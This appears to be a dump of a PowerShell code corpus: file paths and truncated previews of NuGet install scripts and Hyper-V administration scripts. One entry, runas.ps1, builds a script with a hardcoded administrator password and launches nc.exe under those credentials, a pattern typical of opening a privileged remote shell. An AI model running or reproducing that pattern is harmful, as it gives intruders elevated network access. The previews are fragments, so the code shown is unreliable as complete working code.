param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $packageDirectory = Split-Path $installPath $compilerPackage = Get-Chil...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/yanjustino_5504/demos/EventoCertificado/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/SiowCY_runas-powershell/runas.ps1
runas.ps1
echo $username = 'administrator' > runas.ps1 echo $password = 'P@$$w0rd' >> runas.ps1 echo $securePassword = ConvertTo-SecureString $password -AsPlainText -Force >> runas.ps1 echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1 echo Start-Process nc.exe -Ar...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/EvacuateDisk.ps1
EvacuateDisk.ps1
$sourcePath = "F:\" $destinationPath = "D:\" (Get-ChildItem $sourcePath -Recurse | ?{$_.Attributes -ne "Directory"}).count Get-VM | %{ $VM = $_ # Check the configuration path $currentVMPath = $_.ConfigurationLocation if ($currentVMPath.StartsWith($sourcePath)) { $new...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/vmconnect.ps1
vmconnect.ps1
function Start-VMConnect { [CmdletBinding()] param ( # CMDLet takes a single parameter of VMNames. # Can be single or plural, can come from the pipeline. [Parameter(Mandatory=$True,ValueFromPipeline=$True)]$VMnames ) begin { # Path to the binary...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Expand-VMConfig.ps1
Expand-VMConfig.ps1
Function Expand-VMConfig ($VMConfig) { $tempVM = (Compare-VM -Copy -Path $VMConfig -GenerateNewID).VM write-host "VM Configuration Data" write-host "=====================" $tempVM | Select * write-host "VM Network Adapters" write-host "=====================" $tempVM.NetworkAdapter...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/GuestNameCheck.ps1
GuestNameCheck.ps1
# Get the virtual machine name from the parent partition $vmName = (Get-ItemProperty –path “HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters”).VirtualMachineName # Replace any non-alphanumeric characters with an underscore $vmName = [Regex]::Replace($vmName,"\W","_") # Trim names that are longer than 1...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Misc/BingCmdlets.ps1
BingCmdlets.ps1
Add-Type -Assembly System.Web $WebClient = New-Object system.Net.WebClient Function Get-BingCount([string] $Term) { # Add plus and quotes, encodes for URL $Term = '+"' + $Term + '"' $Term = [System.Web.HttpUtility]::UrlEncode($Term) # Load the page as a string $URL = "http://www.bing.co...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Ubuntu-VM-Build/BaseUbuntuBuild.ps1
BaseUbuntuBuild.ps1
$tempPath = [System.IO.Path]::GetTempPath() + [System.Guid]::NewGuid().ToString() # ADK Download - https://www.microsoft.com/en-us/download/confirmation.aspx?id=39982 # You only need to install the deployment tools $oscdimgPath = "C:\Program Files (x86)\Windows Kits\8.1\Assessment and Deployment Kit\Deployment Too...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Daily-Status-Report/DailyStatusReport.ps1
DailyStatusReport.ps1
# Variables $filedate = get-date $computer = gc env:computername $metricsData = get-vm | measure-vm $tableColor = "WhiteSmoke" $errorColor = "Red" $warningColor = "Yellow" $FromEmail = "email@email.org" $ToEmail = "email@email.org" # Establish Connection to SMTP server $smtpServer = "smtp.yourISP.com" $smt...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Image-Factory/Factory.ps1
Factory.ps1
# Load variables from a seperate file - this when you pull down the latest factory file you can keep your paths / product keys etc... . .\FactoryVariables.ps1 $startTime = get-date # Helper function to make sure that needed folders are present function checkPath { param ( [string] $path ) if (...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Image-Factory/FactoryVariables.ps1
FactoryVariables.ps1
# Seperate file for variables - this when you pull down the latest factory file you can keep your paths / product keys etc... $workingDir = "C:\FactoryTest" $logFile = "$($workingDir)\Share\Details.csv" $ResourceDirectory = "$($workingDir)\Resources" $Organization = "The Power Elite" $Owner = "Ben Armstrong" $Ti...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/DDA/survey-dda.ps1
survey-dda.ps1
# # These variables are device properties. For people who are very # curious about this, you can download the Windows Driver Kit headers and # look for pciprop.h. All of these are contained in that file. # $devpkey_PciDevice_DeviceType = "{3AB22E31-8264-4b4e-9AF5-A8D2D8E33E62} 1" $devpkey_PciDevice_RequiresRes...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Snippets/WaitForPSDirect.ps1
WaitForPSDirect.ps1
function waitForPSDirect([string]$VMName, $cred){ Write-Output "[$($VMName)]:: Waiting for PowerShell Direct (using $($cred.username))" while ((icm -VMName $VMName -Credential $cred {"Test"} -ea SilentlyContinue) -ne "Test") {Sleep -Seconds 1}}
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Snippets/CopyTextFileIntoVM.ps1
CopyTextFileIntoVM.ps1
# Pass in script file - array trick from http://powershell.com/cs/forums/t/4169.aspx function copyTextFileIntoVM([string]$VMName, $cred, [string]$sourceFilePath, [string]$destinationFilePath){ $content = Get-Content $sourceFilePath icm -VMName $VMName -Credential $cred {param($Script, $file) $script...
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Snippets/WaitForVMDHCP.ps1
WaitForVMDHCP.ps1
# Wait for DHCP while ((Get-NetIPAddress | ? AddressFamily -eq IPv4 | ? IPAddress -ne 127.0.0.1).SuffixOrigin -ne "Dhcp") {sleep -Milliseconds 10}
PowerShellCorpus/Github/BenjaminArmstrong_Hyper-V-PowerShell/Snippets/addNicWithIP.ps1
addNicWithIP.ps1
function addNicWithIP([string]$VMName,$cred, [string]$Switch, [string]$IPaddress, [string]$subnetPrefixLength){ $newNetAdapter = Add-VMNetworkAdapter -VMName $VMName -SwitchName $Switch -Passthru Write-Output "[$($VMName)]:: Wait for IP address and create virtual switch" waitForPSDirect $VMName $cred ic...